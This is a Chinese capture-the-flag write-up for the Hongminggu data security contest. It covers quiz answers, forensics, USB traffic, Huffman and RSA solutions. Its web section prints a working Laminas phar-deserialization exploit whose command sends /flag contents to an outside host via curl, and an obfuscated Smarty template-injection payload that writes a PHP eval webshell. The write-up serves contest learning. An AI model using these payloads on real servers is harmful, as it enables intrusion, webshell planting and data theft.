红明谷杯数据安全大赛技能场景赛 理论
“红明谷”杯数据安全大赛-安全意识赛
一、单项选择题
附上技能赛签到的一些题
在数据库系统中， 口令保护 是信息系统的第一道屏障。
为了防止物理上取走数据库而采取的加强数据库安全的方法是 数据库加密 。
发生 介质故障 后，磁盘上的物理数据和日志文件被破坏，这是最严重的一种故障，恢复方法是重装数据库，然后重做已完成的事务。
在数据库的安全评估过程中，下面那项是指系统能够对付各种可能的攻击的能力。 可行性
数据库访问控制策略中， 只需策略 是只让用户得到有相应权限的信息，这些信息恰到可以让用户完成自己的工作，其他的权利一律不给。
数据库的 安全策略 是指如何组织、管理、保护和处理敏感信息的指导思想。它包括安全管理策略、访问控制策略和信息控制策略。
数据库的加密方法中，采用 库外加密 ，则密钥管理较为简单，只需借用文件加密的密钥管理方法。
在下面的加密方法中，哪个加解密的效率最低： 元素加密
Misc
Akira在某次取证的过程中，在桌面找到了一个奇怪的文件，但是除此之外好像没有找到什么有价值的情报，很多的数据都被抹干净了，而且这个用户似乎根本就没装什么第三方的软件。Akira还粗心的只拷贝了C盘下的User目录，这下还有机会解开可疑文件吗？
附件 （提取码：ehdy）
第一次做取证的题目记录一下
首先我们得搜索目标用户，在其桌面文件处发现flag文件（一个加密的包；并提示我们说监控我输入
贴个参考文章：http://www.huaxindc.com/ztxy/ztjc/2020/1028/19459.html
接着我们需要找寻密码，找到文件 ChsPinyinlH.dat 或 ChsPinyinUDL.dat
找到1400h处，其后便是每4个字节是字数，后面四个不知道，再四个是输入次数，再24字节是内容，再24字节也是内容，以此为一个循环；之后又重新开始循环（就等于一个struct 链表
utf16转一下进而得到密码：有志者事竟成（PS：直接用CyberChef会快些
或者利用工具得到密码
最后成功得到hidden.pdf，打开之后编辑图片即可看到flag：flag{Y0u_F1nd_h1dd3n_m3g}
我的心是冰冰的 Java盲水印得到压缩包密码：gnibgnib
1 java -jar BlindWatermark-v0.0.3-windows-x86_64.jar decode -c bingbing.jpg pass.jpg
解出一个流量包，wireshark打开得知是USB流量
tshark + USB Keyboard Data Hacker + hex解码得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 tshark.exe -r bingbing.pcapng -T fields -e usb.capdata > usbdata.txt 0000230000000000 0000230000000000 0000230000000000 0000060000000000 0000230000000000 00001e0000000000 0000230000000000 0000240000000000 0000240000000000 0000050000000000 0000200000000000 0000250000000000 0000230000000000 0000230000000000 0000200000000000 0000260000000000 0000230000000000 0000220000000000 0000230000000000 0000210000000000 0000200000000000 00001f0000000000 0000230000000000 0000230000000000 0000200000000000 0000260000000000 0000200000000000 0000200000000000 0000200000000000 0000200000000000 0000230000000000 0000220000000000 0000230000000000 0000230000000000 00001f0000000000 00002a0000000000 0000200000000000 00001e0000000000 0000200000000000 0000210000000000 0000230000000000 00001e0000000000 0000200000000000 0000250000000000 0000230000000000 0000210000000000 0000200000000000 0000270000000000 0000200000000000 0000220000000000 0000200000000000 00001f0000000000 0000200000000000 0000200000000000 0000230000000000 0000210000000000 0000200000000000 0000270000000000 0000200000000000 0000200000000000 0000200000000000 0000210000000000 0000200000000000 0000260000000000 0000230000000000 0000220000000000 0000200000000000 00001e0000000000 0000200000000000 00001f0000000000 0000200000000000 0000260000000000 0000200000000000 0000260000000000 0000230000000000 0000200000000000 0000240000000000 0000070000000000 666c61677b38663965643266393333656631346138643035323364303334396531323939637d flag{8f9ed2f933ef14a8d0523d0349e1299c}
歪比歪比 010打开发现是个流量包，wireshark打开发现关键信息（知道是哈夫曼但是没做.jpg
跑下脚本即可得到flag
1 2 3 Decode result:jz7ezl64pjhgx6iun78roljc01bm72vjr7u44dfh9tewz8auzmzdzypet4d9xcehxspktdcgxgeeybmgva5pp9850b9mceifedlos6rehy8isvpzf6u545y50c4y9avuvqq3g1epi6igd6tciby7hep9o33cm3guo4qvcxqpcg6zdi5i1r6mmj6xcq5ummzm6jiniidbn51kppj15dp3zy4o8pww23kggukjrytosbkx8th00zba777e0kkz9e1te3u5i36fiym3pran1zgp2a192x63mnc35dhocqli21s2qby9htvdp82x9t6ai0n0wkvbl080bj3xzpj5m8a3jn67kh0le8v104lwa155n8n5o7y97ypdw6hv7d6rbkppxb3ktxnhttb29zsehww2u2x0fhb2k2p1uafhwrfgx7vha64xjr2ffewd30n9961ozt8dgdikly8cknf36kbh2chj28xrencflag{5rd477a2-6r36-dra9-9d63-49c2e9e5d1e5}f43x61l9v3de9z0hiwfz30l1keik5vx48m4yrausvae6fq1q7b9yb4s4tzqbbkyy2hizvqg26spral8rkz37cuylk1k0wfy8p4zppjujggcvpv9e0nhfopumxecd4zbo5sc76zpx8kvttaohud4ltdw16vmgfgucfw2nnafkuup4a6sgkxpk4nw0ax65j6w2498qoap2pqf4el1tu79k6jagxq4q7injr6pkz8yroz25ymdv7uq8h3k24mgf63gmld1i1jga7yupef74l95xr11l1yemjscrn313u89ilrpm8cfj8x826igbfmfnw98qdkm8i3z1vj8ajsebab9w9afhaccvd8qsv2u8zcohp6bxkjonpfoio896q01vje9o2jp00snunzj6zandlq7l8hldsct3ha4dawq9lq8t3u34fmkxrmwd8o4tmow3028o1rqcjzkg9mubjwr5byx7hn44o38vd50 #flag{5rd477a2-6r36-dra9-9d63-49c2e9e5d1e5}
附上大佬发的脚本：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 def count_frequency (text ): chars = [] ret = [] for char in text: if char in chars: continue else : chars.append(char) ret.append((char, text.count(char))) return ret class Node : def __init__ (self, frequency ): self .left = None self .right = None self .father = None self .frequency = frequency def is_left (self ): return self .father.left == self def create_nodes (frequency_list ): return [Node(frequency) for frequency in frequency_list] def create_huffman_tree (nodes ): queue = nodes[:] while len (queue) > 1 : queue.sort(key=lambda item: item.frequency) node_left = queue.pop(0 ) node_right = queue.pop(0 ) node_father = Node(node_left.frequency + node_right.frequency) node_father.left = node_left node_father.right = node_right node_left.father = node_father node_right.father = node_father queue.append(node_father) queue[0 ].father = None return queue[0 ] def huffman_encoding (nodes, root ): huffman_code = ['' ] * len (nodes) for i in range (len (nodes)): node = nodes[i] while node != root: if node.is_left(): huffman_code[i] = '0' + huffman_code[i] else : huffman_code[i] = '1' + huffman_code[i] node = node.father return huffman_code def encode_str (text, char_frequency, codes ): ret = '' for char in text: i = 0 for item in char_frequency: if char == item[0 ]: ret += codes[i] i += 1 return ret def decode_str (huffman_str, char_frequency, codes ): ret = '' while huffman_str != '' : i = 0 for item in codes: if item in huffman_str and huffman_str.index(item) == 0 : ret += char_frequency[i][0 ] huffman_str = huffman_str[len (item):] i += 1 return ret if __name__ == '__main__' : text = raw_input('The text to encode:' ) char_frequency = [('j' , 29 ), ('z' , 31 ), ('7' , 25 ), ('e' , 31 ), ('l' , 23 ), ('6' , 37 ), ('4' , 32 ), ('p' , 38 ), ('h' , 27 ), ('g' , 26 ), ('x' , 28 ), ('i' , 25 ), ('u' , 27 ), ('n' , 25 ), ('8' , 36 ), ('0' , 24 ), ('o' , 23 ), ('c' , 28 ), ('y' , 24 ), ('1' , 29 ), ('b' , 26 ), ('m' , 27 ), ('2' , 28 ), ('v' , 25 ), ('d' , 33 ), ('f' , 28 ), ('9' , 33 ), ('t' , 21 ), ('w' , 22 ), ('a' , 31 ), ('r' , 24 ), ('s' , 16 ), ('k' , 32 ), ('5' , 25 ), ('q' , 23 ), ('3' , 32 ), ('{' , 1 ), ('-' , 4 ), ('}' , 1 )] nodes = create_nodes([item[1 ] for item in char_frequency]) root = create_huffman_tree(nodes) codes = huffman_encoding(nodes, root) huffman_str = '0111110001000011001010001111011110101010011011011110100000110010111101000010010010001100001110010000011110011101101111011001111101000000111010100000101101001000111100000000010100110100101001011101110010001100011100010010111001100011100110011010011000101010100011011110001111111110111001011100010100101111100001011011001001001000010111110101110111010111100010111011000011001011001101001010010111111001110101000110001001001100101110111101111000110010010111111000111110000101001100100100001001110100101011111101111110011101011101000000100100100011111111001000101110101001001101110001011101101001001001011010000101111111001011111100110010100111111110001001100100010010010011110111110110110001101000010010110110001011010000100011010111110101110000110000010001111111110000101000100101101111000111100101101011001100010101011000110010011111001010011110100100011000101111110111011011000011011010100011011100010001010001010000000001101001010010100111111010010110110011110100101010010101001010100010101011010011110001000011000100001010111001110001100101100001010111011110110111110000001011011111011101101000111111110100111100110011101111100111100101101101101010100110001100100110101011110000011111111100011110011101010011110101010111100111100001000111110111110100010011110011000010000100001100101111101010110101100011100010010100001110001001010110010010010100010101101101001110000101111110101010110110110000010011000111000010001001101101101101100111000011000011010101111010101100101000011011001011000101101110100011110001100111101111011000100110110000111010101101111101001111111111100001000111000001001011111011110010110101011110001110001101010011000101111100001111111011100110101001000011111101111111011001111110001110111110110010111000111011011110010101010110011001110110011110001111010000011010101000111110111011100101100100100100001111101010011101111100110011100000010100101000111100100011001011111000000111111111000000011111111101110111111001110100100000100000011011111010000000011110101110111101101011001111011010101111000010110001101000111000111000001110110111000100011110101100100100011100111100101101010010110101011111110011100100000111011011010101101110111000001001100110111001000111001000000111000110010110000100100010001001111010101000101101111000000110101110011101001011100110111101101111100001111000110001101010000111100100011110001100110111001101011100010101011110111111111100101100101010001101110101101101010101001110100001101011000100001111011011100101011000001001000011011000111011101110011001101110100000010100000101111010000001000011001101101111010011101000000101101101011101001101110000010011110001110100111000101111101010110111010011010011000011000110110010110001001000101101111000010010001011110100010111010100101100101111010100001110111100000100101101011110010110001000111111001000000101110010111010001101101111101110111000010101100100001010101001010010001011101001100101010101001111110000010011010011110101001001001110010110100111011110110000111101000010011111000111111001111010011101011010011100010001111101001110011110101111111111111011010100000010100010010011110100110011011101011101011101100000100111110111100100000101011000110110000010110001001111111111011101011000010101111110111001011101111111100111011101001000111011110110111101001011110011000110011000010011011001001100010010111110000110100001110111100110110100101010010111001001100101111010010001001111111000010111101010110000001110101000111011010111100110101001001110001110001001111110001000010011011110100111011111000101111110011000011010001000101000110011100011001001011000111011100101101000110001110011011101010101001010011101110100100111101011101010011010101010111101110101101000001111100111111010011010111101000101011111101011100101101101001100011001111101111100100111101101101110111111010111010100100101110111000011100001001000011100010101110100111110011001100101111110110100111101000010001000011011110000011010110111010110001110011111110000011110010001011010010111111101010101110010000001010011111011100101000101101010101101101000101000110011101101010110001100101011101110111100000001010000011110011010011000011111110100111011100100111000001101001110111100000101010110000010000100001110111000011111110010010100111111101010110000000000111011010000101100100111001110000001011101100000110110101011001011000111001111110010101111001011011101000010001100011101110010100111000011111001110001100111110110111101010101011001000101011010001100000010001111110011001101111111010110010001111001100111110001110011100010011011100100010011011000110000100101111100111110111101010010001101010011100110001011001111000100011011110100011101011101010111111110000011110110111011110000010111100110011100011010111101111110100000010001111100101100011110001101011111101111111011111011101010001101001000111000101111110101000110011000111011111101111110100001111011110010100011101110111111010101100111000101100100010011101001011110011111001111101110001110111111011100111100010110010011011010100011100101010101010110000001010111001101111100111110010100111000010101111001110011011011111001101110011111001000000000111101011000111110001101010011011000010100100100111011111110010000000101001111111110101100001010000001110100101001111001011011001001001011100101111110' origin_str = decode_str(huffman_str, char_frequency, codes) print 'Encode result:' + huffman_str print 'Decode result:' + origin_str
第二届“红明谷”杯数据安全大赛 Misc 签到 公众号发送问卷链接得到flag
MissingFile
好像被攻击者入侵了，但是赶到现场的时候，已经只剩下一个空的文件夹了，快照能找到攻击者留下的秘密吗？
直接strings得到flag
1 2 3 4 5 # strings memory | grep flag{ flag{Hide_Behind_Windows} flag{Hide_Behind_Windows} flag{Hide_Behind_Windows} flag{Hide_Behind_Windows}
重要系统
题目内容：我们获取到了一个重要的目标环境！尝试获取其中的重要信息吧！
（本题容器下发后的端口是ssh端口，ssh的账号密码请分析附件后得到）
hint1：流量包似乎是攻击者在探测溢出点和RIP？
分析键盘流量，直接跑脚本得到ssh账号密码
1 [+] Found : kkkjjaaadjjjhaaaaajdhkkjjhhaakkk<DEL>wangwang<RET>lovellanllna<DEL><DEL>an<RET>ssh<SPACE>player@172.2.0.2<RET>yes<RET>guest<RET>hhhdddfsssssdfffhhsssssfhsssssdffsssssddvvvvvhssssssfvkkjhhkkvvvsssjjjjaagfffggsddffssddfuppoouuukkkaahhhfflkkddddddj
这里ssh连接时需要ctrl c一下终止操作实现逃逸，然后就一直在想如何提权到比赛结束了，试了下grep没想到里面真就藏有flag (⊙﹏⊙)
Web Fan website 首先存在源码泄露，下载下来
根据官方手册:https://laminas.org.cn/的说明，该文件是作者写的路由
1 2 3 4 5 6 7 8 9 10 11 12 13 public function imgdeleteAction ( { $request = $this ->getRequest (); if (isset ($request ->getPost ()['imgpath' ])){ $imgpath = $request ->getPost ()['imgpath' ]; $base = substr ($imgpath ,-4 ,4 ); if (in_array ($base ,$this ->white_list)){ @unlink ($imgpath ); }else { echo 'Only Img File Can Be Deleted!' ; } } }
审计发现只允许上传图片，但是过滤写的太明显了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public function imguploadAction ( $form = new UploadForm ('upload-form' ); $request = $this ->getRequest (); if ($request ->isPost ()) { $post = array_merge_recursive ( $request ->getPost ()->toArray (), $request ->getFiles ()->toArray () ); $form ->setData ($post ); if ($form ->isValid ()) { $data = $form ->getData (); $base = substr ($data ["image-file" ]["name" ],-4 ,4 ); if (in_array ($base ,$this ->white_list)){ $cont = file_get_contents ($data ["image-file" ]["tmp_name" ]); if (preg_match ("/<\?|php|HALT\_COMPILER/i" , $cont )) { die ("Not This" ); } if ($data ["image-file" ]["size" ]<3000 ){ die ("The picture size must be more than 3kb" ); } $img_path = realpath (getcwd ()).'/public/img/' .md5 ($data ["image-file" ]["name" ]).$base ; echo $img_path ; $form ->saveImg ($data ["image-file" ]["tmp_name" ],$img_path ); }else { echo 'Only Img Can Be Uploaded!' ; } } } return ['form' => $form ]; }
这种一看就是phar反序列化绕过的过滤，那么看看触发点，给的也很明显，该imgpath是自由可控的，所以直接可以写进去
1 2 3 4 5 6 7 8 9 10 11 12 13 public function imgdeleteAction ( $request = $this ->getRequest (); if (isset ($request ->getPost ()['imgpath' ])){ $imgpath = $request ->getPost ()['imgpath' ]; $base = substr ($imgpath ,-4 ,4 ); if (in_array ($base ,$this ->white_list)){ @unlink ($imgpath ); }else { echo 'Only Img File Can Be Deleted!' ; } } }
链子可以直接用这个打：https://xz.aliyun.com/t/8975#toc-7
1 2 3 4 5 6 7 8 9 if (in_array ($base ,$this ->white_list)){ $cont = file_get_contents ($data ["image-file" ]["tmp_name" ]); if (preg_match ("/<\?|php|HALT\_COMPILER/i" , $cont )) { die ("Not This" ); } if ($data ["image-file" ]["size" ]<3000 ){ die ("The picture size must be more than 3kb" ); } $img_path = realpath (getcwd ()).'/public/img/' .md5 ($data ["image-file" ]["name" ]).$base ;
但是需要绕过，前者的绕过可以用gzip压缩进行绕过，而大小的话可以通过
写入没有意义的字符串来增大，因为我们要知道，phar反序列化实际上是通过篡改了stub的文件头，而phar文件的本意是压缩php文件，所以我们是可以写入无用的数据来填充的，那么稍微改一下就可以拼凑出来exp：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php namespace Laminas \View \Resolver { class TemplateMapResolver { protected $map = ["setBody "=>"system "]; } } namespace Laminas \View \Renderer { class PhpRenderer { private $__helpers ; function __construct ( $this ->__helpers = new \Laminas\View\Resolver\TemplateMapResolver (); } } } namespace Laminas \Log \Writer { abstract class AbstractWriter {} class Mail extends AbstractWriter { // protected $eventsToMail = ["echo PD9waHAgZXZhbCgkX1BPU1RbMF0pOw ==|base64 -d >public /img /1.php "]; protected $eventsToMail = ["curl http://ip?a=`cat /flag|base64`" ]; protected $subjectPrependText = null ; protected $mail ; function __construct ( $this ->mail = new \Laminas\View\Renderer\PhpRenderer (); } } } namespace Laminas \Log { class Logger { protected $writers ; function __construct ( $this ->writers = [new \Laminas\Log\Writer\Mail ()]; } } } namespace { $a = new \Laminas \Log \Logger (); echo urlencode (serialize ($a )); unserialize (serialize ($a )); @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering (); $phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $o = $a ; $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , str_repeat ("wuhuhuhuhuhw" ,999999 )); $phar ->stopBuffering (); }
这样就可以生产phar了，然后用gzip打包就能传上去了
1 2 gzip phar.jpg mv phar.jpg.gz phar.jpg
上传文件后，在删除这里触发即可得到flag
Smarty_calculator 依旧存在源码泄露，下载下来审计
index.php对cookie有判断，是否存在cookie是否存在login，这里加个cookie：login=1就能绕过
这里data传进去之后被 Smarty的display方法处理
因为包含了Smarty/Smarty.class.php。跟进寻找 Smarty->display();这里的Smarty继承了Smarty_Internal_TemplateBase，在Smarty里没有找到display();跟进Smarty_Internal_TemplateBase；类
1 2 3 4 5 public function display ($template = null , $cache_id = null , $compile_id = null , $parent = null $this ->_execute ($template , $cache_id , $compile_id , $parent , 1 ); }
这里dispaly调用了_execute方法，继续更进_execute
审到这里似曾相识，原来是smarty存在模板注入（CVE-2021-26120）
参考链接：https://srcincite.io/blog/2021/02/18/smarty-template-engine-multiple-sandbox-escape-vulnerabilities.html
然后可以直接利用，但是这里对输入内容有过滤
需要绕一下，这里转成八进制数，这种东西还是很好绕的
payload：
1 eval:{$x="42"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\61\\62\\63\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\122\\105\\121\\125\\105\\123\\124\\133\\47\\141\\141\\141\\47\\135\\51\\73\\77\\76\")"}
然后蚁剑连接，在根目录下得到flag
Crypto easy_ya 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from Crypto.Util.number import * r = 7996728164495259362822258548434922741290100998149465194487628664864256950051236186227986990712837371289585870678059397413537714250530572338774305952904473 M = 4159518144549137412048572485195536187606187833861349516326031843059872501654790226936115271091120509781872925030241137272462161485445491493686121954785558 n = 131552964273731742744001439326470035414270864348139594004117959631286500198956302913377947920677525319260242121507196043323292374736595943942956194902814842206268870941485429339132421676367167621812260482624743821671183297023718573293452354284932348802548838847981916748951828826237112194142035380559020560287 e = 3 c = 46794664006708417132147941918719938365671485176293172014575392203162005813544444720181151046818648417346292288656741056411780813044749520725718927535262618317679844671500204720286218754536643881483749892207516758305694529993542296670281548111692443639662220578293714396224325591697834572209746048616144307282 kbits = 100 m0 = M PR.<x> = PolynomialRing(Zmod(n)) f = ((M + x*r)^e) - c f = f.monic() x0 = f.small_roots(X=2^kbits,beta=1)[0] print(x0) m = M + x0*r print(long_to_bytes(m))
